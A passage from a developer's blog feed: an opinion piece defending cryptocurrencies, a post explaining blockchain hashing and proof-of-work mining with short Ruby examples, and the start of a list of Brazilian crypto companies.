<p>Visa doesn&rsquo;t transact dollar &ldquo;bills&rdquo;, they make virtual transactions in their internal databases. Only when the merchant withdraws, it&rsquo;s converted to fiat dollars.</p>
<p>You can easily add Bitcoin to the mix of options in a Visa transaction system. That&rsquo;s how a credit card works today. You only pay 30 days later. And it works. What&rsquo;s the matter?</p>
<p>And again, we will solve this in time. Let the technologies mature and demand starts to need it and the solution will come up.</p>
<blockquote>
  <p>&ldquo;It doesn&rsquo;t serve any social function.&rdquo;</p>

</blockquote>
<p>Most of the criticism against cryptocurrencies comes from the &ldquo;elite&rdquo; population in first world countries. If you&rsquo;re a white person in the USA, with a good income in dollars or someone similar in Europe, with lots of Euro. You are mostly concerned with <em>&ldquo;Bitcoin is too slow for me to buy goods at the shopping mall&rdquo;</em> or <em>&ldquo;the transaction fees are too high for my daily Starbuck&rsquo;s coffee&rdquo;</em>. And you start shouting that <em>&ldquo;Bitcoin serves no social function&rdquo;</em>.</p>
<p>But this is absurd. You don&rsquo;t live in South America, Africa, Southeast Asia. You are not in Venezuela where their currency was broken by the current dictatorship. Can you imagine your beloved dollar bill worth less than toilet paper?</p>
<p>You don&rsquo;t live in Zimbabwe where the army <a href="http://www.telegraph.co.uk/technology/2017/11/20/bitcoin-has-become-zimbabwes-crisis-currency/"target="_blank" rel="noopener">seized power</a>. You don&rsquo;t live in Asia, a place under constant threat of <a href="https://www.express.co.uk/news/world/886680/North-Korea-news-North-Korea-update-World-War-3-Donald-Trump-Kim-Jong-un-missile-test"target="_blank" rel="noopener">nuclear missiles</a> on their heads coming from crazy dictator Kim Jong-Un.</p>
<p>So, yeah it doesn&rsquo;t serve a social function in your daily sugar intake from 7-eleven. It&rsquo;s too slow to buy 2 gallon super gulps and the fees are too high. But if you live anywhere in the world where the government poses a threat to their citizens, having an unregulated, decentralized, <strong>store of value</strong>, which you can easily take out of the offending country, is a <strong>life saver</strong>. Even in countries like mine, Brazil, you don&rsquo;t want to have everything in Reais in case dictator-wannabes like Lula or Bolsonaro actually go crazy and coup.</p>
<blockquote>
  <p>&ldquo;I don&rsquo;t see it. I just don&rsquo;t see it. And I don&rsquo;t care.&rdquo;</p>

</blockquote>
<p>This is the most honest thing to say, at least it&rsquo;s assuming your own ignorance and your own lack of interest.</p>
<p>And there is a good reason for that. In terms of tech, the USA follows what Silicon Valley says. And many other countries just keep repeating what comes from there. So techies are used to following what Google or Facebook or Apple are saying.</p>
<p>Now, the blockchain technology didn&rsquo;t come from them directly. It&rsquo;s not a Google product. And worse, it touches their fragile moral beliefs. They think it&rsquo;s ok to receive huge amounts of VC money as a &ldquo;reward&rdquo; for what they &ldquo;believe&rdquo;, their &ldquo;culture&rdquo;, their arbitrary &ldquo;values&rdquo;. They don&rsquo;t believe in making their own money. And even though VCs are from the financial market, techies despise Wall Street and the financials. The Starbuck&rsquo;s hipsters hate the suit and tie traders and their so-called &ldquo;dirty tactics&rdquo; to make money.</p>
<p>It&rsquo;s hilarious actually; in the end, they all want one thing, and one thing only: more money. But hipsters are very hypocritical when it comes to saying that. <em>&ldquo;I don&rsquo;t want money, I want to disrupt the market&rdquo;</em>. Yeah, right, keep telling yourself that.</p>
<p>Now, consider that this whole cryptocurrency buzz is not coming from the West. It&rsquo;s all from Asia. Japan, South Korea, Singapore, China, they are the ones steering the market. Japan, as a country, has already regulated and accepted Bitcoin as proper currency and they have <a href="https://cointelegraph.com/news/bitcoin-price-surpasses-1000000-yen-as-japan-seizes-nearly-60-market-share"target="_blank" rel="noopener">60% of the market share</a>, alone.</p>
<p>This is a heavily Asian driven phenomenon. And we are just getting started.</p>
<p>So this is not an <em>&ldquo;if it happens&rdquo;</em> scenario. It already did. Biggies like the <a href="https://seekingalpha.com/article/4128569-5-things-aware-cme-bitcoin-futures"target="_blank" rel="noopener">CME Group</a>, <a href="https://www.bloomberg.com/news/articles/2017-11-29/nasdaq-is-said-to-plan-bitcoin-futures-joining-biggest-rivals"target="_blank" rel="noopener">Nasdaq</a> will start having Bitcoin offerings. We are lagging behind discussing stupid trivial issues that will be fixed in the long run.</p>
<p>Cryptocurrencies are here to stay. My recommendation if you are truly someone that values knowledge: learn about it.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>economics</category><category>personal</category></item><item><title>How does Bitcoin force consensus among Byzantine generals?</title><link>https://akitaonrails.github.io/en/2017/11/01/how-does-bitcoin-force-consensus-among-byzantine-generals/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2017/11/01/how-does-bitcoin-force-consensus-among-byzantine-generals/</guid><pubDate>Wed, 01 Nov 2017 14:02:00 -0200</pubDate><description>&lt;p&gt;&lt;em&gt;&amp;ldquo;Is it possible to break the blockchain?&amp;rdquo;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Now, this is a fair question. If you know anything about the blockchain architecture, you instinctively conclude that &amp;ldquo;no&amp;rdquo;, it&amp;rsquo;s quite improbable that anyone will break it. In practice, it&amp;rsquo;s basically impossible.&lt;/p&gt;
&lt;p&gt;It&amp;rsquo;s quite amazing that most of my peer programmers have a very difficult time overcoming the prejudice against cryptocurrencies. I have no idea where this prejudice comes from, but I know very smart people that can solve the most difficult web scalability problems, but that never once glanced over Satoshi Nakamoto&amp;rsquo;s extremely short original paper describing the blockchain.&lt;/p&gt;</description><content:encoded><![CDATA[<p><em>&ldquo;Is it possible to break the blockchain?&rdquo;</em></p>
<p>Now, this is a fair question. If you know anything about the blockchain architecture, you instinctively conclude that &ldquo;no&rdquo;, it&rsquo;s quite improbable that anyone will break it. In practice, it&rsquo;s basically impossible.</p>
<p>It&rsquo;s quite amazing that most of my peer programmers have a very difficult time overcoming the prejudice against cryptocurrencies. I have no idea where this prejudice comes from, but I know very smart people that can solve the most difficult web scalability problems, but that never once glanced over Satoshi Nakamoto&rsquo;s extremely short original paper describing the blockchain.</p>
<p>Seriously, the <a href="https://bitcoin.org/bitcoin.pdf"target="_blank" rel="noopener">Bitcoin: A Peer-to-Peer Electronic Cash System</a> paper is so ridiculously small and easy to understand that most computer science students should be able to understand it. So all the smart programmers I know should be able to grasp it in a coffee break. Any average programmer should be able to read and understand this paper in 30 minutes or so.</p>
<p>You can simplify a mental model of it as a Linked List, each node of the List is what we call a Block. Each Block is a stupid struct with the usual previous/next pointers and a body comprised of a tree-like structure (a <a href="https://brilliant.org/wiki/merkle-tree/"target="_blank" rel="noopener">Merkle Tree</a>, to be more exact).</p>
<p>The catch is that each block has the hash signature of the previous block, thus creating a secure &ldquo;chain&rdquo;. Hence &ldquo;block-chain&rdquo;.</p>
<p>Yes, in computer science terms, we&rsquo;re dealing with undergraduate levels of data structures here. If you understand a Linked List and a stupid Binary Tree, plus the easiest crypto thing to understand, a simple digest hash such as SHA256, and boom, you understand the basic backbone of the blockchain database.</p>
<p>Yes, it is just a database. A distributed-database to be more exact. Or a very crude and simple distributed database for that matter. It is not very efficient, and it pales in comparison to more serious NoSQL distributed databases such as Redis or Cassandra. So the query-abilities are basically non-existent beyond finding a block by its identity.</p>
<p>Of course, the Bitcoin source-code is more sophisticated than that but the basics are really so ridiculous that you don&rsquo;t need more than 20 lines of Ruby code to replicate it. Check out this example implementation from <a href="https://github.com/openblockchains/awesome-blockchains/tree/master/blockchain.rb"target="_blank" rel="noopener">Gerald Bauer</a>.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="nb">require</span> <span class="s2">&#34;digest&#34;</span>    <span class="c1"># for hash checksum digest function SHA256</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">Block</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kp">attr_reader</span> <span class="ss">:index</span>
</span></span><span class="line"><span class="cl">  <span class="kp">attr_reader</span> <span class="ss">:timestamp</span>
</span></span><span class="line"><span class="cl">  <span class="kp">attr_reader</span> <span class="ss">:data</span>
</span></span><span class="line"><span class="cl">  <span class="kp">attr_reader</span> <span class="ss">:previous_hash</span>
</span></span><span class="line"><span class="cl">  <span class="kp">attr_reader</span> <span class="ss">:hash</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">initialize</span><span class="p">(</span><span class="n">index</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">previous_hash</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@index</span>         <span class="o">=</span> <span class="n">index</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@timestamp</span>     <span class="o">=</span> <span class="no">Time</span><span class="o">.</span><span class="n">now</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@data</span>          <span class="o">=</span> <span class="n">data</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@previous_hash</span> <span class="o">=</span> <span class="n">previous_hash</span>
</span></span><span class="line"><span class="cl">    <span class="vi">@hash</span>          <span class="o">=</span> <span class="n">calc_hash</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nf">calc_hash</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha</span> <span class="o">=</span> <span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha</span><span class="o">.</span><span class="n">update</span><span class="p">(</span> <span class="vi">@index</span><span class="o">.</span><span class="n">to_s</span> <span class="o">+</span> <span class="vi">@timestamp</span><span class="o">.</span><span class="n">to_s</span> <span class="o">+</span> <span class="vi">@data</span> <span class="o">+</span> <span class="vi">@previous_hash</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">sha</span><span class="o">.</span><span class="n">hexdigest</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">first</span><span class="p">(</span> <span class="n">data</span><span class="o">=</span><span class="s2">&#34;Genesis&#34;</span> <span class="p">)</span>    <span class="c1"># create genesis (big bang! first) block</span>
</span></span><span class="line"><span class="cl">    <span class="c1">## uses index zero (0) and arbitrary previous_hash (&#34;0&#34;)</span>
</span></span><span class="line"><span class="cl">    <span class="no">Block</span><span class="o">.</span><span class="n">new</span><span class="p">(</span> <span class="mi">0</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="s2">&#34;0&#34;</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">next</span><span class="p">(</span> <span class="n">previous</span><span class="p">,</span> <span class="n">data</span><span class="o">=</span><span class="s2">&#34;Transaction Data...&#34;</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="no">Block</span><span class="o">.</span><span class="n">new</span><span class="p">(</span> <span class="n">previous</span><span class="o">.</span><span class="n">index</span><span class="o">+</span><span class="mi">1</span><span class="p">,</span> <span class="n">data</span><span class="p">,</span> <span class="n">previous</span><span class="o">.</span><span class="n">hash</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>I know, right!?</p>
<p>One question remains: how does this simple structure become a &ldquo;distributed&rdquo; database?</p>
<p>Now, either you need to have a centralized &ldquo;master-copy&rdquo; out of which all other copies replicate from. Or you need some form of &ldquo;consensus&rdquo; between the different copies.</p>
<p>How do you reach consensus between rogue, random nodes spread across the globe? This is the problem that is called <a href="http://pmg.csail.mit.edu/papers/osdi99.pdf"target="_blank" rel="noopener">&ldquo;Byzantine Fault Tolerance&rdquo;</a>, masterfully explained and solved by Barbara Liskov and Miguel Castro, from MIT, in 1999.</p>
<p>In a nutshell, imagine that you have Byzantine generals, each with their own armies, surrounding a hostile city. Now, you can either attack or retreat. But all generals must either do one or the other, in consensus. How do you reach consensus when you don&rsquo;t have direct communication with all the generals and, worse, when some of the generals may be traitors or double-agents?</p>
<p>That&rsquo;s the kind of problem we face here. Anyone on the internet can download a copy of the blockchain, and they can check that the blocks are valid and unadulterated by recomputing the digest hashes for each block.</p>
<p>But how do you add new blocks and make the other nodes accept your new block?</p>
<p>That&rsquo;s why Satoshi added the so-called &ldquo;Proof of Work&rdquo; to the equation. Remember that I said that each block is chained together to the previous by containing the hash of the previous block? Computing a digest hash is quite trivial these days.</p>
<p>In Ruby if you do:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">(</span><span class="s2">&#34;abcd&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;88d4266fd4e6338d13b845fcf289579d209c897823b9217da3e161936f031589&#34;</span>
</span></span><span class="line"><span class="cl"><span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">(</span><span class="s2">&#34;123&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;a665a45920422f9d417e4867efdc4fb8a04a1f3fff1fa07e998e86f7f7a27ae3&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>It takes a <strong>fraction of a millisecond</strong> to run.</p>
<p>Now, what if I ask you to find the hash that starts with a certain amount of &ldquo;zeroes&rdquo; in the beginning of the hash?</p>
<p>For example:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="c1"># I want to find 4 zeros (&#34;0000&#34;) in the hash:</span>
</span></span><span class="line"><span class="cl"><span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">(</span><span class="s2">&#34;79026&#34;</span> <span class="o">+</span> <span class="s2">&#34;123&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="c1"># =&gt; &#34;0000559fb4a55f135c7db3d83405b86b4b63cd035993873a5b676bae08b64334&#34;</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>How do I know that I had to prepend &ldquo;79026&rdquo;? I don&rsquo;t, I have to start from 0 and incrementing one by one until I find the hash with the format I want.</p>
<p>If we check <a href="https://github.com/openblockchains/awesome-blockchains/blob/master/blockchain.rb/blockchain_with_proof_of_work.rb#L29-L45"target="_blank" rel="noopener">Gerald&rsquo;s example</a> we would implement this lookup like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ruby" data-lang="ruby"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">compute_hash_with_proof_of_work</span><span class="p">(</span> <span class="n">difficulty</span><span class="o">=</span><span class="s2">&#34;00&#34;</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">nonce</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">  <span class="kp">loop</span> <span class="k">do</span>
</span></span><span class="line"><span class="cl">    <span class="nb">hash</span> <span class="o">=</span> <span class="n">calc_hash_with_nonce</span><span class="p">(</span> <span class="n">nonce</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">hash</span><span class="o">.</span><span class="n">start_with?</span><span class="p">(</span> <span class="n">difficulty</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="o">[</span><span class="n">nonce</span><span class="p">,</span><span class="nb">hash</span><span class="o">]</span>    <span class="c1">## bingo! proof of work if hash starts with leading zeros (00)</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span>
</span></span><span class="line"><span class="cl">      <span class="n">nonce</span> <span class="o">+=</span> <span class="mi">1</span>             <span class="c1">## keep trying (and trying and trying)</span>
</span></span><span class="line"><span class="cl">    <span class="k">end</span>
</span></span><span class="line"><span class="cl">  <span class="k">end</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">calc_hash_with_nonce</span><span class="p">(</span> <span class="n">nonce</span><span class="o">=</span><span class="mi">0</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sha</span> <span class="o">=</span> <span class="no">Digest</span><span class="o">::</span><span class="no">SHA256</span><span class="o">.</span><span class="n">new</span>
</span></span><span class="line"><span class="cl">  <span class="n">sha</span><span class="o">.</span><span class="n">update</span><span class="p">(</span> <span class="n">nonce</span><span class="o">.</span><span class="n">to_s</span> <span class="o">+</span> <span class="s2">&#34;123&#34;</span> <span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">sha</span><span class="o">.</span><span class="n">hexdigest</span>
</span></span><span class="line"><span class="cl"><span class="k">end</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Just a simple SHA256 takes somewhere between 0.000010 to 0.000020 seconds (remember: fractions of milliseconds). Now how long does it take to find that &ldquo;79026&rdquo; (which we call a &ldquo;nonce&rdquo;)?</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>&gt; puts Benchmark.measure { compute_hash_with_proof_of_work(&#34;0000&#34;) }
  0.190000   0.000000   0.190000 (  0.189615)</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Yep, considerably more, now it takes 0.18 seconds instead of 0.000020. We can increase the &ldquo;difficult&rdquo; variable to make it even more laborious to find the nonce. And that&rsquo;s exactly how Bitcoin is implemented: each block adjusts the difficulty so that the fastest time to find the hash for the next block is around 10 minutes.</p>
<p>And this, my friends, is what we call <strong>&ldquo;MINING&rdquo;</strong>. What a miner does is compute a loop, incrementing nonces, over the block digest to find the correct nonce.</p>
<p>Once a nonce is found, the miner can add the block to the blockchain and broadcast it to other nodes. The other nodes can then double-check (and now it&rsquo;s just the 0.000020 seconds procedure again, super fast).</p>
<p>When the nodes double-check and confirm the nonce, they all add the block to the top of the blockchain. And usually, when the other miners keep adding other blocks on top of that, that block becomes &ldquo;solidified&rdquo;. The most recent block on the top of the blockchain is usually unstable, but once you have more blocks on top of it, it is said to be more &ldquo;guaranteed&rdquo;. Which is why most exchanges and other services that accept bitcoin wait for the so-called &ldquo;6 blocks&rdquo; confirmation.</p>
<p>And because the difficulty is such that the fastest node takes around &ldquo;10 minutes&rdquo; to find that nonce, a block is said to be &ldquo;secure&rdquo; when around 1 hour passes and 6 blocks are added after it.</p>
<h2>Can we break this?<span class="hx:absolute hx:-mt-20" id="can-we-break-this"></span>
    <a href="#can-we-break-this" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now, you will understand why we talk about &ldquo;hash power&rdquo; when we talk about mining.</p>
<p>Mining is the act of signing and confirming blocks to the blockchain. It&rsquo;s a maintenance service, which is why you reward miners with &ldquo;transaction fees&rdquo; and a couple of &ldquo;satoshis&rdquo; (fractions of 1 Bitcoin), for their work. And also why you call this &ldquo;Proof of Work&rdquo; because when someone finds a nonce, we know it had to go through a lot of hash computation to reach it.</p>
<p>And also why we talk about CPUs or GPUs that miners use to have &ldquo;hash rates&rdquo;. You need to have an absurd capacity to be able to mine Bitcoins nowadays. No one will use a home-built rig to do it. One must build special hardware, such as the famous <a href="https://www.cryptocompare.com/mining/bitmain/antminer-s9-miner/"target="_blank" rel="noopener">AntMiners</a>. A USD 1,500 AntMiner S9 is able to compute around 14 TH.</p>
<p>Each crypto-currency different from Bitcoin calculates hashes differently so the hashrate differs from coin to coin.</p>
<p>The current Hash Power of the entire Bitcoin consensus network is almost reaching 14 EH (exa-hashes or millions of tera-hashes).</p>
<p>So, let&rsquo;s say that I am a billionaire and I want to troll the Bitcoin community by adding enough hash power to surpass the entire hash power of the network. I&rsquo;d have to buy 1 million AntMiner s9, or an investment of around USD 1.5 billion! And this is without adding the energy required to boot and run those machines, of course.</p>
<p>But even then, do you know what happens? Remember that difficulty variable I mentioned above? It will adjust again, to make sure the next block takes 10 minutes to compute again!</p>
<p>Then, no, even if you&rsquo;re willing to put USD 1.5 billion to waste, you won&rsquo;t break it. And that&rsquo;s how Bitcoin deals with Byzantine generals in this consensus network.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>computer-science</category><category>algorithms-and-data-structures</category></item><item><title>[Off-Topic] Blockchain and Cryptocurrencies in Brazil</title><link>https://akitaonrails.github.io/en/2017/08/28/off-topic-blockchain-e-criptomoedas-no-brasil/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2017/08/28/off-topic-blockchain-e-criptomoedas-no-brasil/</guid><pubDate>Mon, 28 Aug 2017 13:07:00 -0300</pubDate><description>&lt;p&gt;Anyone following me on &lt;a href="https://twitter.com/AkitaOnRails/status/900450641755156480"target="_blank" rel="noopener"&gt;Twitter&lt;/a&gt; has already noticed I&amp;rsquo;ve been VERY interested and active with cryptocurrencies. For now I&amp;rsquo;m just an investor, with no project of my own.&lt;/p&gt;
&lt;p&gt;Out of curiosity, I asked over there whether anyone knew of companies or people working in this area here in Brazil, and the list I got back turned out pretty interesting. Worth sharing the recommendations with everyone.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://auctus.org/"target="_blank" rel="noopener"&gt;Auctus&lt;/a&gt; - alt-coin ICO&lt;/li&gt;
&lt;li&gt;&lt;a href="https://originalmy.com/"target="_blank" rel="noopener"&gt;Original My&lt;/a&gt; - proof-of-authenticity&lt;/li&gt;
&lt;li&gt;&lt;a href="http://web.archive.org/web/20171129024802/https://play.google.com/store/apps/developer?id=Laivon"target="_blank" rel="noopener"&gt;Laivon&lt;/a&gt; - looks like they develop mobile apps and some of them are cryptocurrency trackers&lt;/li&gt;
&lt;li&gt;&lt;a href="https://opendime.com/"target="_blank" rel="noopener"&gt;OpenDime&lt;/a&gt; - another hardware stick wallet - they say there are Brazilians working there too&lt;/li&gt;
&lt;li&gt;&lt;a href="http://web.archive.org/web/20170901202750/http://www.hugpay.com.br/"target="_blank" rel="noopener"&gt;HugPay&lt;/a&gt; - a way to send remittances to/from abroad without needing a bank account, in partnership with lottery shops (good idea)&lt;/li&gt;
&lt;li&gt;&lt;a href="http://web.archive.org/web/20180302211934/https://www.blockoventures.com/"target="_blank" rel="noopener"&gt;Blocko Ventures&lt;/a&gt; - I didn&amp;rsquo;t quite get whether they&amp;rsquo;re a services company or investors in blockchain solutions&lt;/li&gt;
&lt;li&gt;&lt;del&gt;Kriptacoin - just another alt-coin&lt;/del&gt; (see comments)&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blinktrade.com/"target="_blank" rel="noopener"&gt;BlinkTrade&lt;/a&gt; - looks like an exchange infrastructure (I think Foxbit and others might use it, though I haven&amp;rsquo;t confirmed) and was founded by Brazilians&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.stone.com.br/"target="_blank" rel="noopener"&gt;Stone Pagamentos&lt;/a&gt; - &lt;a href="https://twitter.com/BernardoDCGA/status/901793619635515398"target="_blank" rel="noopener"&gt;said&lt;/a&gt; they&amp;rsquo;re helping companies accept payments in cryptocurrencies.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I want to hear about more Brazilian companies and professionals in the bitcoin and cryptocurrency ecosystem in general. I&amp;rsquo;m especially looking for speakers who know the subject and are doing hands-on coding, to speak (in English) at the conference I&amp;rsquo;m organizing, &lt;a href="http://web.archive.org/web/20170911201232/http://www.theconf.club/"target="_blank" rel="noopener"&gt;THE CONF&lt;/a&gt;. If you know of anyone, send them in the comments section.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Anyone following me on <a href="https://twitter.com/AkitaOnRails/status/900450641755156480"target="_blank" rel="noopener">Twitter</a> has already noticed I&rsquo;ve been VERY interested and active with cryptocurrencies. For now I&rsquo;m just an investor, with no project of my own.</p>
<p>Out of curiosity, I asked over there whether anyone knew of companies or people working in this area here in Brazil, and the list I got back turned out pretty interesting. Worth sharing the recommendations with everyone.</p>
<ul>
<li><a href="http://auctus.org/"target="_blank" rel="noopener">Auctus</a> - alt-coin ICO</li>
<li><a href="https://originalmy.com/"target="_blank" rel="noopener">Original My</a> - proof-of-authenticity</li>
<li><a href="http://web.archive.org/web/20171129024802/https://play.google.com/store/apps/developer?id=Laivon"target="_blank" rel="noopener">Laivon</a> - looks like they develop mobile apps and some of them are cryptocurrency trackers</li>
<li><a href="https://opendime.com/"target="_blank" rel="noopener">OpenDime</a> - another hardware stick wallet - they say there are Brazilians working there too</li>
<li><a href="http://web.archive.org/web/20170901202750/http://www.hugpay.com.br/"target="_blank" rel="noopener">HugPay</a> - a way to send remittances to/from abroad without needing a bank account, in partnership with lottery shops (good idea)</li>
<li><a href="http://web.archive.org/web/20180302211934/https://www.blockoventures.com/"target="_blank" rel="noopener">Blocko Ventures</a> - I didn&rsquo;t quite get whether they&rsquo;re a services company or investors in blockchain solutions</li>
<li><del>Kriptacoin - just another alt-coin</del> (see comments)</li>
